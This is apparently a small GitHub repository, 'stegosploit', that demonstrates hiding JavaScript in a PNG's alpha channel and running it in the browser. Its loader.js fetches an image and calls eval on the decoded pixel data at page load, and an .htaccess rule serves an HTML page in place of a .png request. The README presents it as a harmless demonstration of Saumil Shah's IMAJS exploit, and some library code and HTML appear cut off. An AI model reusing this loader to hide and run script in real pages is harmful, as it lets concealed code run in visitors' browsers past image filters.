├── .htaccess ├── js ├── loader.js └── steganography.js ├── README.md └── twitter.html /.htaccess: -------------------------------------------------------------------------------- 1 | RewriteEngine On 2 | RewriteRule ^twitter\.png$ /twitter.html [L] -------------------------------------------------------------------------------- /js/loader.js: -------------------------------------------------------------------------------- 1 | Element.prototype.remove = function() { 2 | this.parentElement.removeChild(this); 3 | } 4 | 5 | function load() { 6 | var source = document.getElementById('source'); 7 | var image = document.getElementById('cat'); 8 | 9 | image.crossOrigin = "Anonymous"; 10 | image.onload = function() { 11 | unpack(image); 12 | }; 13 | 14 | image.src = source.getAttribute('data-url'); 15 | } 16 | 17 | function unpack(data) { 18 | eval(steg.decode(data)); 19 | } 20 | 21 | document.onload = load(); -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | stegosploit 2 | =========== 3 | 4 | ### What is steganography? 5 | > The art and science of hiding information by embedding messages within other, seemingly harmless messages. Steganography works by replacing bits of useless or unused data in regular computer files with bits of different, invisible information. 6 | 7 | In this example we hide JavaScript code in the alpha channel of a PNG file then execute it when the image finishes loading. 8 | 9 | ### What? 10 | The original exploit was discovered by [Saumil Shah][saumil] and used an HTML5 `` element to execute malicious code when the image was rendered. I decided to write a simple example of the same process but using an `` element and [Peter Eigenschink](https://github.com/petereigenschink)'s steganography.js library. 11 | 12 | A harmless demonstration can be found [here](http://images-fireflies.c9.io/twitter.png). 13 | More information about "IMAJS" (the original exploit) can be found [here](https://conference.hitb.org/hitbsecconf2015ams/sessions/stegosploit-hacking-with-pictures/). 14 | 15 | ### Notes 16 | The demonstration provided cannot be embedded by means of an `` tag, though it is fully possible to move the decoding script into a document that does embed the _potentially_ malicious image through an `` tag. 17 | 18 | [saumil]: https://twitter.com/therealsaumil 19 | -------------------------------------------------------------------------------- /twitter.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Oh noes 5 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | -------------------------------------------------------------------------------- /js/steganography.js: -------------------------------------------------------------------------------- 1 | /* 2 | * steganography.js v1.0.1 3 | * 4 | * Copyright (C) 2012, Peter Eigenschink (http://www.peter-eigenschink.at/) 5 | * Dual-licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) 6 | * and the Beerware (http://en.wikipedia.org/wiki/Beerware) license. 7 | */ 8 | (function(g) { 9 | var util = { 10 | "isPrime" : function(n) { 11 | if (isNaN(n) || !isFinite(n) || n%1 || n<2) return false; 12 | if (n%2==0) return (n==2); 13 | if (n%3==0) return (n==3); 14 | var m=Math.sqrt(n); 15 | for (var i=5;i<=m;i+=6) { 16 | if (n%i==0) return false; 17 | if (n%(i+2)==0) return false; 18 | } 19 | return true; 20 | }, 21 | "findNextPrime" : function(n) { 22 | for(var i=n; true; i+=1) 23 | if(util.isPrime(i)) return i; 24 | }, 25 | "sum" : function(func, end, options) { 26 | var sum = 0; 27 | options = options || {}; 28 | for(var i = options.start || 0; i < end; i+=(options.inc||1)) 29 | sum += func(i) || 0; 30 | 31 | return (sum === 0 && options.defValue ? options.defValue : sum); 32 | }, 33 | "product" : function(func, end, options) { 34 | var prod = 1; 35 | options = options || {}; 36 | for(var i = options.start || 0; i < end; i+=(options.inc||1)) 37 | prod *= func(i) || 1; 38 | 39 | return (prod === 1 && options.defValue ? options.defValue : prod); 40 | }, 41 | "createArrayFromArgs" : function(args,index,threshold) { 42 | var ret = new Array(threshold-1); 43 | for(var i = 0; i < threshold; i+=1) 44 | ret[i] = args(i >= index ? i+1:i); 45 | 46 | return ret; 47 | } 48 | }; 49 | 50 | function Cover() {}; 51 | 52 | Cover.prototype = { 53 | "config": { 54 | "t": 3, 55 | "threshold": 1, 56 | "codeUnitSize": 16, 57 | "args": function(i) { return i+1; }, 58 | "messageDelimiter": function(modMessage,threshold) { 59 | var delimiter = new Array(threshold*3); 60 | for(var i = 0; i < delimiter.length; i+=1) 61 | delimiter[i] = 255; 62 | 63 | return delimiter; 64 | }, 65 | "messageCompleted": function(data, i, threshold) { 66 | var done = true; 67 | for(var j = 0; j < 16 && done; j+=1) { 68 | done = done && (data[i+j*4] === 255); 69 | } 70 | return done; 71 | } 72 | }, 73 | "encode": function(message, image, options) { 74 | options = options || {}; 75 | var config = this.config; 76 | 77 | var shadowCanvas = document.createElement('canvas'), 78 | shadowCtx = shadowCanvas.getContext('2d'); 79 | 80 | shadowCanvas.style.display = 'none'; 81 | 82 | if(image.length) { 83 | var dataURL = image; 84 | image = new Image(); 85 | image.src = dataURL; 86 | } 87 | shadowCanvas.width = options.width || image.width; 88 | shadowCanvas.height = options.height || image.height; 89 | if(options.height && options.width) { 90 | shadowCtx.drawImage(image, 0, 0, options.width, options.height ); 91 | } else { 92 | shadowCtx.drawImage(image, 0, 0); 93 | } 94 | 95 | 96 | var imageData = shadowCtx.getImageData(0, 0, shadowCanvas.width, shadowCanvas.height), 97 | data = imageData.data; 98 | // bundlesPerChar ... Count of full t-bit-sized bundles per Character 99 | // overlapping ... Count of bits of the currently handled character which are not handled during each run 100 | var t = options.t || config.t, 101 | threshold = options.threshold || config.threshold, 102 | codeUnitSize = options.codeUnitSize || config.codeUnitSize, 103 | bundlesPerChar = codeUnitSize/t >> 0, 104 | overlapping = codeUnitSize%t, 105 | messageDelimiter = options.messageDelimiter || config.messageDelimiter, 106 | args = options.args || config.args, 107 | prime = util.findNextPrime(Math.pow(2,t)), 108 | decM, oldDec, oldMask, modMessage = [], left, right; 109 | 110 | for(var i=0; i<=message.length; i+=1) { 111 | // dec ... UTF-16 Unicode of the i-th character of the message 112 | // curOverlapping ... The count of the bits of the previous character not handled in the previous run 113 | // mask ... The raw initial bitmask, will be changed every run and if bits are overlapping 114 | var dec = message.charCodeAt(i) || 0, curOverlapping = (overlapping*i)%t, mask; 115 | if(curOverlapping > 0 && oldDec) { 116 | mask = Math.pow(2,t-curOverlapping) - 1; 117 | oldMask = Math.pow(2, codeUnitSize) * (1 - Math.pow(2, -curOverlapping)); 118 | left = (dec & mask) << curOverlapping; 119 | right = (oldDec & oldMask) >> (codeUnitSize - curOverlapping); 120 | modMessage.push(left+right); 121 | 122 | if(i> (((j-1)*t)+(t-curOverlapping))); 127 | mask <<= t; 128 | } 129 | if((overlapping*(i+1))%t === 0) { 130 | mask = Math.pow(2, codeUnitSize) * (1 - Math.pow(2,-t)); 131 | decM = dec & mask; 132 | modMessage.push(decM >> (codeUnitSize-t)); 133 | } 134 | else if(((((overlapping*(i+1))%t) + (t-curOverlapping)) <= t)) { 135 | decM = dec & mask; 136 | modMessage.push(decM >> (((bundlesPerChar-1)*t)+(t-curOverlapping))); 137 | } 138 | } 139 | } 140 | else if(i> (j*t)); 145 | mask <<= t; 146 | } 147 | } 148 | oldDec = dec; 149 | } 150 | 151 | // Write Data 152 | var offset, index, subOffset, delimiter = messageDelimiter(modMessage,threshold); 153 | for(offset = 0; (offset+threshold)*4 <= data.length && (offset+threshold) <= modMessage.length; offset += threshold) { 154 | var q, qS=[]; 155 | for(var i=0; i 7)) throw "Error: Parameter t = " + t + " is not valid: 0 < t < 8"; 187 | 188 | var shadowCanvas = document.createElement('canvas'), 189 | shadowCtx = shadowCanvas.getContext('2d'); 190 | 191 | shadowCanvas.style.display = 'none'; 192 | document.body.appendChild(shadowCanvas); 193 | 194 | if(image.length) { 195 | var dataURL = image; 196 | image = new Image(); 197 | image.src = dataURL; 198 | } 199 | shadowCanvas.width = options.width || image.width; 200 | shadowCanvas.height = options.width || image.height; 201 | if(options.height && options.width) { 202 | shadowCtx.drawImage(image, 0, 0, options.width, options.height ); 203 | } else { 204 | shadowCtx.drawImage(image, 0, 0); 205 | } 206 | 207 | imageData = shadowCtx.getImageData(0, 0, shadowCanvas.width, shadowCanvas.height); 208 | data = imageData.data; 209 | 210 | if (threshold === 1) { 211 | for(var i=3, done=false; !done && i= q.length) return []; 227 | return [q[i]* 228 | util.product(function(j) { 229 | if(j != i) { 230 | return util.product(function(l) { 231 | if(l != j) return (args(j) - args(l)); 232 | }, q.length); 233 | } 234 | }, q.length)].concat(arguments.callee(i+1)); 235 | }(0)); 236 | // Calculate the coefficients which are different for each order of the variable and for each argument 237 | // i.e. for order=0 and args[0] coeff=args[1]*args[2]*...*args[threshold-1] 238 | var orderVariableCoefficients = function(order, varIndex) { 239 | var workingArgs = util.createArrayFromArgs(args,varIndex,q.length), maxRec = q.length - (order+1); 240 | return (function(startIndex, endIndex, recDepth) { 241 | var recall = arguments.callee; 242 | return util.sum(function(i) { 243 | if(recDepth < maxRec) 244 | return workingArgs[i]*recall(i+1,startIndex+order+2,recDepth+1); 245 | }, endIndex, {"start": startIndex, "defValue": 1}); 246 | }(0,order+1,0)); 247 | }; 248 | // Calculate the common denominator of the whole term 249 | var commonDenominator = util.product(function(i) { 250 | return util.product(function(j) { 251 | if(j != i) return (args(i) - args(j)); 252 | }, q.length); 253 | }, q.length); 254 | 255 | for(var i = 0; i < q.length; i+=1) { 256 | modMessage.push((((Math.pow(-1,q.length-(i+1))*util.sum(function(j) { 257 | return orderVariableCoefficients(i,j)* 258 | variableCoefficients[j]; 259 | }, q.length))%prime)+prime)%prime); // ?divide by commonDenominator? 260 | } 261 | } 262 | } 263 | 264 | var message = "", charCode = 0, bitCount = 0, mask = Math.pow(2, codeUnitSize)-1; 265 | for(var i = 0; i < modMessage.length; i+=1) { 266 | charCode += modMessage[i] << bitCount; 267 | bitCount += t; 268 | if(bitCount >= codeUnitSize) { 269 | message += String.fromCharCode(charCode & mask); 270 | bitCount %= codeUnitSize; 271 | charCode = modMessage[i] >> (t-bitCount); 272 | } 273 | } 274 | if(charCode !== 0) message += String.fromCharCode(charCode & mask); 275 | 276 | return message; 277 | }, 278 | "getHidingCapacity" : function(image, options) { 279 | options = options || {}; 280 | var config = this.config; 281 | 282 | var width = options.width || image.width, 283 | height = options.height || image.height, 284 | t = options.t || config.t, 285 | codeUnitSize = options.codeUnitSize || config.codeUnitSize; 286 | return t*width*height/codeUnitSize >> 0; 287 | } 288 | }; 289 | g.steganography = g.steg = new Cover(); 290 | })(window); --------------------------------------------------------------------------------